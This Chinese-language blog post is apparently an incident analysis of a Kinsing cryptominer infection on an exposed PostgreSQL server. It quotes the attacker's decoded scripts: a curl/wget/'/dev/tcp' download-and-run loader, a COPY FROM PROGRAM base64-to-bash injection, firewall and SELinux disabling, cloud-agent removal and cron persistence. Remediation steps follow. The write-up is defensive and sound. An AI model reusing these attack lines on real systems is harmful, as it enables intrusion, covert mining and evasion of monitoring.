文章原文:https://owo.cab/217 ,同步发表在 xLog
异常发现#
11 月 8 日下午,有小伙伴告诉我某服务异常,表现为后端程序报错与 PostgreSQL 查询相关。由于使用了 CDN 且仅配置了 HTTP 服务监控告警,因此并未在第一时间收到异常告警。
通过 SSH 连接服务器,使用 htop 命令查看正在运行的所有进程,发现 /tmp/kdevtmpfsi 进程高占用,运行用户为 postgres。
尝试结束该可疑进程,发现该程序会在 1 分钟内再次启动,猜测配置了定时任务或存在守护程序。
在云计算平台查看资源监视,该病毒于 UTC 11-7 16:15(北京时间 11-8 0:15)左右开始运行。
由于该病毒占用资源过多造成服务器性能下降,且位于 /tmp 目录下,因此对服务器进行重启以临时缓解。
重启服务器后连接 PostgreSQL 数据库发现所有的数据已被删除,同时入侵者创建了一个名为 readme_to_recover 的数据库,内容如下:
很显然,服务器受到了勒索,入侵者针对 PostgreSQL 数据库实施入侵行为,同时利用服务器资源进行挖矿,造成服务器卡顿和服务崩溃。
入侵者的网站已在
archive.org存档,链接https://web.archive.org/web/20251108155042/https://2info.win/psg/,请谨慎访问
从服务器创建到被侵入仅 8 小时,好在还在部署阶段,没有重要数据(离谱
复盘与分析#
本节列出的所有命令与脚本请勿运行,部分数据已进行脱敏处理
先贴一下事故服务器的情况:
- Ubuntu 24.04 LTS,运行在 Oracle Cloud
- 仅允许 SSH 密钥登录
- 端口全开
- 安装了宝塔面板,PostgreSQL 使用宝塔安装
- PostgreSQL 允许所有地址使用密码连接,且未对 PG 的登录配置日志
不难看出这起事故的导火索(因为还在部署阶段就没太注意,我反思)
进程#
病毒的二进制文件在重启后已被临时清除,为了弄清病毒的入侵和运作方式,我并没有对服务器进行任何操作和加固,而是维持原样运行,等待病毒再次出现。
不出意外,在 11 月 9 日的 0:14 左右,服务器 CPU 占用再次来到了 100%。
查看 /tmp 目录,存在两个二进制文件,如下:
两个程序的所有者均为 postgres,其中 kdevtmpfsi 权限 700,创建时间 UTC 16:14;kinsing 权限 777 ,创建时间 UTC 16:11,略早于 kdevtmpfsi。
同时,我下载了一份病毒样本备用:
使用 ps -ef 命令查找两个进程,如下:
从进程信息来看,kdevtmpfsi 的运行时间在增长(从 06:25:29 变为 06:26:17),而 kinsing 的运行时间在一段时间内几乎保持不变(为 00:00:04),二者的 PPID 均为 1。
稍微熟悉 Linux 的小伙伴不难看出,kdevtmpfsi 持续占用 CPU 时间,为挖矿主程序;kinsing 占用 CPU 时间较少,为 kdevtmpfsi 的守护程序。同时,父进程 ID 为 1 说明二者原始父进程已经终止,转为孤儿进程,由 systemd 进程接管。
但不管怎么说,systemctl 又不是摆设,直接通过 sudo systemctl status <pid> 来查看启动链:
怎么和 postgres 进程一起启动了,再看看。
使用 sudo crontab -u postgres -l 命令查看 postgres 用户的定时任务:
该定时任务设置为每分钟执行一次,使用 wget 工具在静默模式(-q)下载至标准输出(-O -),并通过管道(|)传递给 sh 直接运行,将脚本的运行输出和系统邮件丢弃(> /dev/null 2>&1),以此实现执行信息的隐藏。
在 syslog 中查找相关进程的调用记录,只能找到定时任务相关的记录。
但当我尝试访问该网址时出现 502 错误,只好暂时放弃。
入侵方式#
使用 sudo last postgres 命令查看 postgres 用户的登录情况,发现输出为空,说明不是通过 postgres 系统用户的弱口令入侵的。同时,运行在 postgres 用户的服务只有 PostgreSQL。
只有一种可能了。
从 /www/server/pgsql/logs 目录找到了 PostgreSQL 的执行日志,在日志中发现了异常。
这份虽不完整的日志反映了服务器被侵入的全过程,可以将入侵者的操作分为 5 个步骤:
-
服务探测
入侵者配置了自动工具,对某一特定 IP 段的服务器端口使用
nmap工具进行扫描,查找符合5432端口开放的服务器,并尝试使用空凭证连接,确认5432端口上运行的是 PostgreSQL; -
成功入侵
入侵者通过爆破弱口令密码 / 无密码成功连接后,通过尝试访问不存在的数据库
bbbbbbb和执行大量的SELECT VERSION();来确保已经完成登录,并收集数据库信息以查找漏洞; -
破坏数据库
入侵者先列出所有数据库,再依次通过
information_schema.tables获取表。对于每张表先从information_schema.columns获取列数,再使用SELECT * FROM ... LIMIT 50来读取表数据,读取后通过DROP TABLE IF EXISTS ... CASCADE彻底删除表信息,最终删除原有数据库并写入勒索信息; -
提权
入侵者创建了一个
pgg_superadmins的超级管理员,随后尝试ALTER USER postgres WITH NOSUPERUSER命令来撤销postgres用户的超级管理员权限,但因为postgres为数据库的初始化用户而被阻止; -
植入病毒
PostgreSQL 的
COPY ... FROM PROGRAM命令允许读取系统命令输出到表中,因此被入侵者用于执行脚本。DROP TABLE IF EXISTS bwyeLzCF; CREATE TABLE bwyeLzCF(cmd_output text); COPY bwyeLzCF FROM PROGRAM 'echo ... | base64 -d | bash'; SELECT * FROM bwyeLzCF; DROP TABLE IF EXISTS bwyeLzCF;入侵者使用新建的
pgg_superadmins创建了一个临时表bwyeLzCF,表中仅有cmd_output一个类型为text的字段,用于承载脚本的输出。echo ... | base64 -d | bash将 Base64 编码的脚本解码后立即运行,运行成功后删除表bwyeLzCF销毁痕迹。
对于核心脚本,Base64 解密后得到如下内容:
#!/bin/bash
pkill -f zsvc
pkill -f pdefenderd
pkill -f updatecheckerd
function __curl() {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
}
if [ -x "$(command -v curl)" ]; then
curl .../pg.sh|bash
elif [ -x "$(command -v wget)" ]; then
wget -q -O- .../pg.sh|bash
else
__curl http://.../pg2.sh|bash
fi
这段脚本在运行时会先通过 pkill 命令终止竞争程序,随后下载并运行脚本。入侵者为了能在缺失 curl 和 wget 的环境中运行,甚至在 __curl 函数中直接通过 TCP 协议发送 HTTP 请求。
脚本分析#
由于该脚本过长且具有风险性,在这里仅对部分片段进行分析。
-
入侵准备
# 关闭防火墙 ufw disable iptables -F # 移除 root 用户的 SSH 密钥属性 chattr -iae /root/.ssh/ chattr -iae /root/.ssh/authorized_keys # 结束符合条件的进程(注意这里 postgres 的 o) for filename in /proc/*; do ex=$(ls -latrh $filename 2> /dev/null|grep exe) if echo $ex |grep -q "/tmp/.perf.c\|/var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew"; then result=$(echo "$filename" | sed "s/\/proc\///") kill -9 $result echo found $filename $result fi if echo $ex |grep -q "/usr/local/bin/postgres"; then cw=$(ls -latrh $filename 2> /dev/null|grep cwd) if echo $cw |grep -q "/tmp"; then result=$(echo "$filename" | sed "s/\/proc\///") kill -9 $result echo foundp $filename $result fi fi done # 针对性卸载阿里云与腾讯云监控 if ps aux | grep -i '[a]liyun'; then curl http://update.aegis.aliyun.com/download/uninstall.sh | bash curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash pkill aliyun-service rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service rm -rf /usr/local/aegis* systemctl stop aliyun.service systemctl disable aliyun.service service bcm-agent stop yum remove bcm-agent -y apt-get remove bcm-agent -y elif ps aux | grep -i '[y]unjing'; then /usr/local/qcloud/stargate/admin/uninstall.sh /usr/local/qcloud/YunJing/uninst.sh /usr/local/qcloud/monitor/barad/admin/uninstall.sh fi # 关闭内核硬件监控 NMI Watchdog sudo sysctl kernel.nmi_watchdog=0 echo '0' >/proc/sys/kernel/nmi_watchdog echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf # 按网络连接结束符合条件的进程(或其他挖矿程序) netstat -anp | grep ... | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % pkill -f ... # 按特征进程结束符合条件的进程(或其他挖矿程序) ps aux | grep -v grep | grep ... | awk '{print $2}' | xargs -I % kill -9 % pgrep -f ... | xargs -I % kill -9 % # 删除其他挖矿程序 rm -rf ... # 移除 Docker 中存在其他挖矿程序的容器和镜像 docker ps | grep ... | awk '{print $1}' | xargs -I % docker kill % docker images -a | grep ... | awk '{print $3}' | xargs -I % docker rmi -f % # 禁用系统安全机制 setenforce 0 echo SELINUX=disabled >/etc/selinux/config service apparmor stop systemctl disable apparmor脚本先关闭防火墙,随后卸载云监控软件以防止被发现,移除竞争程序避免与
kdevtmpfsi抢占资源,最终禁用 SELinux 和 AppArmor 安全机制。 -
加载挖矿程序
# 针对不同架构下载对应的程序 BIN_MD5="b3039abf2ad5202f4a9363b418002351" BIN_DOWNLOAD_URL="http://.../kinsing" BIN_DOWNLOAD_URL2="http://.../kinsing" BIN_NAME="kinsing" arch=$(uname -i) if [ $arch = aarch64 ]; then BIN_MD5="da753ebcfe793614129fc11890acedbc" BIN_DOWNLOAD_URL="http://.../kinsing_aarch64" BIN_DOWNLOAD_URL2="http://.../kinsing_aarch64" echo "arm executed" fi在下载前根据架构选择了对应的二进制下载地址,同时根据如下优先级确定了下载位置(该部分代码已省略):
-
/etc,该目录需要 root 权限 -
/tmp -
/var/tmp -
创建临时目录
mktemp -d -
/dev/shm
# 用于校验 MD5 的函数 checkExists() { CHECK_PATH=$1 MD5=$2 sum=$(md5sum $CHECK_PATH | awk '{ print $1 }') retval="" if [ "$MD5" = "$sum" ]; then echo >&2 "$CHECK_PATH is $MD5" retval="true" else echo >&2 "$CHECK_PATH is not $MD5, actual $sum" retval="false" fi echo "$retval" } # 用于下载的函数 download() { DOWNLOAD_PATH=$1 DOWNLOAD_URL=$2 if [ -L $DOWNLOAD_PATH ] then rm -rf $DOWNLOAD_PATH fi chmod 777 $DOWNLOAD_PATH $WGET $DOWNLOAD_PATH $DOWNLOAD_URL chmod +x $DOWNLOAD_PATH } # 检查文件是否存在,不存在则下载 binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5") if [ "$binExists" = "true" ]; then echo "$BIN_FULL_PATH exists and checked" else echo "$BIN_FULL_PATH not exists" rm -rf $BIN_FULL_PATH download $BIN_FULL_PATH $BIN_DOWNLOAD_URL binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5") if [ "$binExists" = "true" ]; then echo "$BIN_FULL_PATH after download exists and checked" else echo "$BIN_FULL_PATH after download not exists" download $BIN_FULL_PATH $BIN_DOWNLOAD_URL2 binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5") if [ "$binExists" = "true" ]; then echo "$BIN_FULL_PATH after download2 exists and checked" else echo "$BIN_FULL_PATH after download2 not exists" fi fi fi -
-
运行和持久化
chmod 777 $BIN_FULL_PATH chmod +x $BIN_FULL_PATH SKL=pg $BIN_FULL_PATH crontab -l | sed '/#wget/d' | crontab - crontab -l | sed '/#curl/d' | crontab - crontab -l | grep -e "..." | grep -v grep if [ $? -eq 0 ]; then echo "cron good" else ( crontab -l 2>/dev/null echo "* * * * * $LDR http://.../pg.sh | sh > /dev/null 2>&1" ) | crontab - fi先给目标二进制文件(
$BIN_FULL_PATH)赋予最高权限,确保可以被运行,随后向定时任务中加入一条每分钟执行一次的命令,以此完成持久化,这也是上文看到的加载在postgres用户的那条定时任务。
二进制分析#
程序特征#
使用 Radare2 查看二进制文件原始信息,结果如下:
| 特征 | kdevtmpfsi | kinsing |
|---|---|---|
| 架构(arch) | ARM aarch64 | ARM aarch64 |
| 二进制类型(bintype) | ELF | ELF |
| 大小(binsz) | ~2.4MB | ~6MB |
| 开发语言(lang) | C | Go |
| 静态链接(static) | 是 | 是 |
| 符号表(stripped) | 已剥离 | 已剥离 |
| 保护机制 | NX 启用,无 RELRO、Canary | 同左 |
使用 WinHex 查看 kdevtmpfsi 文件,不难找出 UPX 的特征
使用 UPX 脱壳后再次查看,结果如下:
与脱壳前不同,出现了如下内容:
compiler GCC: (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0
relro: no -> partial
kdevtmpfsi#
通过查找关键字符串 http 快速定位到门罗币相关内容:
[0x00402e00]> izz | grep -i "http"
18331 0x003e2b60 0x007e2b60 4 5 .rodata ascii http
18398 0x003e30f0 0x007e30f0 83 84 .rodata ascii -a, --algo=ALGO mining algorithm https://xmrig.com/docs/algorithms\n
18835 0x003efcb8 0x007efcb8 58 59 .rodata ascii no valid configuration found, try https://xmrig.com/wizard
20113 0x003fa478 0x007fa478 19 20 .rodata ascii https proxy request
20114 0x003fa490 0x007fa490 12 13 .rodata ascii http request
23162 0x00414058 0x00814058 5 6 .rodata ascii https
25219 0x0042ed70 0x0082ed70 16 17 .rodata ascii parse_http_line1
25224 0x0042edf0 0x0082edf0 16 17 .rodata ascii %s %s HTTP/1.0\r\n
29745 0x004511b0 0x008511b0 104 105 .rodata ascii not enough space for format expansion (Please submit full bug report at https://gcc.gnu.org/bugs/):\n
30005 0x00453698 0x00853698 437 438 .rodata ascii GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.\nCopyright (C) 2022 Free Software Foundation, Inc.\nThis is free software; see the source for copying conditions.\nThere is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A\nPARTICULAR PURPOSE.\nCompiled by GNU CC version 11.2.0.\nlibc ABIs: UNIQUE ABSOLUTE\nFor bug reporting instructions, please see:\n<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.\n
30991 0x0045dbd8 0x0085dbd8 120 121 .rodata ascii TLS generation counter wrapped! Please report as described in <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.\n
随后查找 monero\|xmr:
[0x00402e00]> izz | grep -i "monero\|xmr"
18114 0x003e1180 0x007e1180 20 21 .rodata ascii cryptonight-monerov7
18117 0x003e11b8 0x007e11b8 20 21 .rodata ascii cryptonight-monerov8
18173 0x003e1547 0x007e1547 4 5 .rodata ascii lXMR
18174 0x003e1550 0x007e1550 6 7 .rodata ascii Monero
18187 0x003e1600 0x007e1600 27 28 .rodata ascii \e[43;1m\e[1;37m monero \e[0m
18310 0x003e27e0 0x007e27e0 415 416 .rodata ascii \n{\n "background": true,\n "donate-level": 0,\n "cpu": true,\n "colors": false,\n "opencl": false,\n "pools": [\n {\n "coin": "monero",\n "algo": null,\n "url": "xmr-eu1.nanopool.org",\n "user": "4...b",\n "pass": "mine",\n "tls": false,\n "keepalive": true,\n "nicehash": false\n }\n ]\n}\n
18315 0x003e2a08 0x007e2a08 5 6 .rodata ascii XMRig
18391 0x003e3030 0x007e3030 12 13 .rodata ascii XMRig 6.16.4
18396 0x003e3090 0x007e3090 33 34 .rodata ascii Usage: xmrig [OPTIONS]\n\nNetwork:\n
18398 0x003e30f0 0x007e30f0 83 84 .rodata ascii -a, --algo=ALGO mining algorithm https://xmrig.com/docs/algorithms\n
18415 0x003e3658 0x007e3658 72 73 .rodata ascii --donate-over-proxy=N control donate over xmrig-proxy feature\n
18460 0x003e4380 0x007e4380 43 44 .rodata ascii XMRig 6.16.4\n built on Jul 30 2023 with GCC
18597 0x003e5be8 0x007e5be8 34 35 .rodata ascii stratum+tcp://xmr-eu1.nanopool.org
18835 0x003efcb8 0x007efcb8 58 59 .rodata ascii no valid configuration found, try https://xmrig.com/wizard
18860 0x003f01b8 0x007f01b8 20 21 .rodata ascii donate.ssl.xmrig.com
18861 0x003f01d0 0x007f01d0 19 20 .rodata ascii donate.v2.xmrig.com
19355 0x003f4d70 0x007f4d70 5 6 .rodata ascii xmrig
该程序连接地址为 xmr-eu1.nanopool.org 的矿池,收益地址为 4...b。
kinsing#
接下来,我们来看看 kinsing 这个 Go 语言程序是如何实现进程守护的。
在 IDA 中先查找与 kdevtmpfsi 相关的字符串,但无法找到相关引用。
再查找与命令执行相关的函数:
[0x000789e0]> iz | grep -E "process|pid|exec|kill"
75 0x002a074c 0x002b074c 4 5 .rodata ascii Ppid
199 0x002a0a34 0x002b0a34 4 5 .rodata ascii kill
887 0x002a23d1 0x002b23d1 8 9 .rodata ascii \aos/exec
1086 0x002a2afa 0x002b2afa 8 9 .rodata ascii \aexecute
1608 0x002a3ef1 0x002b3ef1 10 11 .rodata ascii \t*exec.Cmd
2379 0x002a6201 0x002b6201 12 13 .rodata ascii \v*exec.Error
2873 0x002a7bf9 0x002b7bf9 13 14 .rodata ascii \fprocessFlags
3307 0x002a9902 0x002b9902 14 15 .rodata ascii Pid\njson:"pid"
3424 0x002aa07c 0x002ba07c 15 16 .rodata ascii *exec.ExitError
3523 0x002aa70f 0x002ba70f 15 16 .rodata ascii PpidWithContext
3675 0x002ab16c 0x002bb16c 16 17 .rodata ascii *process.Process
4588 0x002afaca 0x002bfaca 22 23 .rodata ascii *process.OpenFilesStat
4631 0x002afe42 0x002bfe42 22 23 .rodata ascii processCertsFromClient
4656 0x002b00b8 0x002c00b8 23 24 .rodata ascii *exec.prefixSuffixSaver
4680 0x002b0310 0x002c0310 23 24 .rodata ascii *process.MemoryInfoStat
4681 0x002b0329 0x002c0329 23 24 .rodata ascii *process.PageFaultsStat
4682 0x002b0342 0x002c0342 23 24 .rodata ascii *process.SignalInfoStat
4787 0x002b0d4e 0x002c0d4e 24 25 .rodata ascii processClientKeyExchange
4788 0x002b0d68 0x002c0d68 24 25 .rodata ascii processServerKeyExchange
4942 0x002b1d47 0x002c1d47 28 29 .rodata ascii \e*process.NumCtxSwitchesStat
5168 0x002b36f9 0x002c36f9 35 36 .rodata ascii "github.com/shirou/gopsutil/process
5233 0x002b4057 0x002c4057 22 23 .rodata ascii json:"pending_process"
5340 0x002b522a 0x002c522a 48 49 .rodata ascii /*struct { F uintptr; pw *os.File; c *exec.Cmd }
...
其中 exec.Cmd 是 Go 执行命令调用的函数,而 github.com/shirou/gopsutil 是 Python 中 psutil 的 Go 语言实现,用于获取系统信息,由此判断 kinsing 可能存在执行系统命令的行为。
emm... 似乎弄复杂了,我们来看看有没有简单一些的方法。
我先将 kinsing 放在 ~/ 目录下,在 ubuntu 用户下使用 strace 对 kinsing 及其子进程进行跟踪:
strace -f -e execve,kill,open,read,nanosleep -o log.txt ./kinsing
在一个新的终端中结束 kdevtmpfsi,等待 kinsing 将其再次启动:
pkill -f kdevtmpfsi
kdevtmpfsi 再次启动时结束 strace 跟踪,并在日志中查找 kinsing 执行的相关命令:
$ cat log.txt | grep -E "kdevtmpfsi|execve|kill"
66871 execve("./kinsing", ["./kinsing"], 0xffffee10cf68 /* 22 vars */) = 0
66875 execve("./kinsing", ["./kinsing"], 0x40001f8240 /* 23 vars */) = 0
66879 <... read resumed>"Name:\tkinsing\nUmask:\t0002\nState:"..., 4096) = 1187
66879 read(7, "8323 (kinsing) S 1 4560 4560 0 -"..., 512) = 205
66879 read(7, "8816 (kdevtmpfsi) S 1 8816 8816 "..., 512) = 195
67160 execve("/usr/bin/sh", ["sh", "-c", "pkill -f kdevtmpfsi"], 0x40002783c0 /* 23 vars */) = 0
67160 execve("/usr/bin/pkill", ["pkill", "-f", "kdevtmpfsi"], 0xb925af1d5e80 /* 23 vars */) = 0
67160 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67160 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67160 read(5, "67125 (kdevtmpfsi) S 1 67125 671"..., 2048) = 183
67160 read(5, "Name:\tkdevtmpfsi\nUmask:\t0077\nSta"..., 2048) = 1170
67160 read(5, "/tmp/kdevtmpfsi\0", 131072) = 16
67160 read(5, "67160 (pkill) R 66875 66868 6558"..., 2048) = 319
67160 read(5, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 2048) = 1190
67160 read(5, "pkill\0-f\0kdevtmpfsi\0", 131072) = 20
67160 kill(67125, SIGTERM) = -1 EPERM (Operation not permitted)
66878 read(10, "pkill: killing pid 67125 failed:"..., 32768) = 56
66878 read(7, "8323 (kinsing) S 1 4560 4560 0 -"..., 512) = 205
66878 read(7, "67125 (kdevtmpfsi) S 1 67125 671"..., 512) = 183
67405 execve("/usr/bin/sh", ["sh", "-c", "pkill -f kdevtmpfsi"], 0x40002946c0 /* 23 vars */ <unfinished ...>
67405 <... execve resumed>) = 0
67405 execve("/usr/bin/pkill", ["pkill", "-f", "kdevtmpfsi"], 0xbf12fcc0ee80 /* 23 vars */ <unfinished ...>
67405 <... execve resumed>) = 0
67405 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67405 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67405 read(5, "8323 (kinsing) S 1 4560 4560 0 -"..., 2048) = 205
67405 read(5, "67125 (kdevtmpfsi) S 1 67125 671"..., 2048) = 183
67405 read(5, "Name:\tkdevtmpfsi\nUmask:\t0077\nSta"..., 2048) = 1171
67405 read(5, "/tmp/kdevtmpfsi\0", 131072) = 16
67405 read(5, "67405 (pkill) R 66875 66868 6558"..., 2048) = 319
67405 read(5, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 2048) = 1190
67405 read(5, "pkill\0-f\0kdevtmpfsi\0", 131072) = 20
67405 kill(67125, SIGTERM) = -1 EPERM (Operation not permitted)
66877 read(10, "pkill: killing pid 67125 failed:"..., 32768) = 57
67408 execve("/usr/bin/sh", ["sh", "-c", "chmod +x /tmp/kdevtmpfsi33550091"...], 0x40002786c0 /* 23 vars */ <unfinished ...>
67408 <... execve resumed>) = 0
67408 execve("/usr/bin/chmod", ["chmod", "+x", "/tmp/kdevtmpfsi3355009150"], 0xb1ef30c68e90 /* 23 vars */) = 0
67409 execve("/usr/bin/sh", ["sh", "-c", "/tmp/kdevtmpfsi3355009150 &"], 0x4000278cc0 /* 23 vars */ <unfinished ...>
67409 <... execve resumed>) = 0
67410 execve("/tmp/kdevtmpfsi3355009150", ["/tmp/kdevtmpfsi3355009150"], 0xbf99e2dd4e90 /* 23 vars */ <unfinished ...>
67410 <... execve resumed>) = 0
66883 read(8, "67411 (kdevtmpfsi33550) S 1 6741"..., 512) = 287
66883 read(8, "Name:\tkdevtmpfsi33550\nUmask:\t000"..., 512) = 512
66883 read(8, "/tmp/kdevtmpfsi3355009150\0", 512) = 26
67416 +++ killed by SIGKILL +++
67415 +++ killed by SIGKILL +++
67414 +++ killed by SIGKILL +++
那么这个 /tmp/kdevtmpfsi3355009150 是怎么出现的呢,在日志中查找 http 连接相关信息:
$ cat log.txt | grep -E "http"
67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 72
67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 60
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39
67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 72
67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 60
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39
此时,kinsing 的逻辑已经水落石出,它的监控逻辑由四部分组成:
- 监控进程:通过
read读取进程信息,检测kdevtmpfsi是否存在; - 结束已存在的进程:通过
sh -c "pkill -f kdevtmpfsi"命令,尝试结束已存在的kdevtmpfsi进程; - 下载挖矿程序:若
kdevtmpfsi不存在,则执行前文出现的初始化脚本下载挖矿程序到/tmp目录下,这里kdevtmpfsi带随机数后缀是因为目录下已存在不可读写的同名文件; - 启动挖矿程序:通过
sh -c "/tmp/kdevtmpfsiXXXX &"命令静默式启动挖矿程序。
回到 IDA 中,再次进行相关查找,发现先前被忽略掉的 /var/tmp/kdevtmpfsi 字符串在 main.minerRunningCheck 被引用:
main.minerRunningCheck 函数存在自身循环,那么基本上可以确定该函数就是进程守护的主要逻辑。
对该函数展开分析,发现该函数除自身循环外,还调用了 main.getMinerPid、main.isMinerRunning、main.minRun 等函数:
在 main.minRun 中找到了 strace 日志中出现的内容:
也发现 kinsing 内置了一个下载运行工具:
一切都理清了。
解决方案#
被删除的数据库无法恢复,只能通过备份还原
基于对侵入流程的复盘,我总结出如下解决方案:
请在执行前建立系统快照
-
删除可疑定时任务
临时禁用定时任务以防止二次感染:
sudo systemctl stop cron sudo systemctl stop crond sudo service cron stop sudo service crond stop编辑
postgres用户的定时任务:sudo crontab -u postgres -e随后再次查看定时任务,确保可疑项已被清除:
sudo crontab -u postgres -l -
取消病毒文件的读写和执行权限
sudo chmod 000 /tmp/kdevtmpfsi /tmp/kinsing -
终止相应进程
sudo pkill -9 -f kinsing sudo pkill -9 -f kdevtmpfsi -
删除病毒文件
全盘查找文件名包含
kinsing和kdevtmpfsi的文件并删除sudo find / -name "*kdevtmpfsi*" -delete sudo find / -name "*kinsing*" -delete -
删除可疑 PostgreSQL 用户
使用管理员用户登录数据库:
sudo psql -U postgres随后执行以下 SQL 语句:
# 查找 pgg_superadmins 是否存在 SELECT usename FROM pg_user WHERE usename='pgg_superadmins'; # 移除权限 REVOKE ALL PRIVILEGES ON ALL TABLES IN SCHEMA public FROM pgg_superadmins; REVOKE ALL PRIVILEGES ON ALL SEQUENCES IN SCHEMA public FROM pgg_superadmins; REVOKE ALL PRIVILEGES ON ALL FUNCTIONS IN SCHEMA public FROM pgg_superadmins; # 移除用户 REASSIGN OWNED BY pgg_superadmins TO postgres; DROP OWNED BY pgg_superadmins; DROP ROLE pgg_superadmins; # 为 postgres 赋予超级用户 ALTER USER postgres WITH SUPERUSER; -
重启服务器
sudo reboot -
恢复属性保护
sudo chattr +i /etc/passwd sudo chattr +i /etc/shadow sudo chattr +i /etc/group sudo chattr +i /etc/gshadow sudo chattr +i /etc/ssh/sshd_config sudo chattr +i /root/.ssh/authorized_keys -
加固 PostgreSQL
查找
postgresql.conf是否存在如下项:listen_addresses = '*'查找
pg_hba.conf是否存在如下项:host all all 0.0.0.0/0 md5 host all all ::0/0 md5 host all all 0.0.0.0/0 trust host all all ::0/0 trust如有,应立即修改或删除。例如仅允许 Docker 容器连接:
host all all 172.17.0.0/16 md5 -
加固服务器
对
/tmp目录进行加固:sudo mount -o remount,noexec,nosuid,nodev /tmp建立防火墙规则(根据实际需求修改):
# 允许已建立的连接 sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT # 允许本地回环 sudo iptables -A INPUT -i lo -j ACCEPT # 允许SSH sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT # 保存并生效 sudo service iptables save sudo systemctl enable iptables恢复 SELinux 或 AppArmor
# 对 SELinux 系统(CentOS/RHEL) sudo sed -i 's/SELINUX=disabled/SELINUX=permissive/' /etc/selinux/config # 对 AppArmor 系统(Ubuntu/Debian) sudo systemctl enable apparmor sudo systemctl start apparmor sudo systemctl reload apparmor -
重启,再次观察验证
sudo reboot
需注意,该解决方法只适用于临时处理和加固,建议尽快对数据和服务进行迁移重建。同时做好服务器日常维护和监控,避免敏感服务端口直接暴露于公网,不要在 SSH 和数据库使用弱口令密码。在保证服务正常运行的情况下,将账号权限收缩到最小。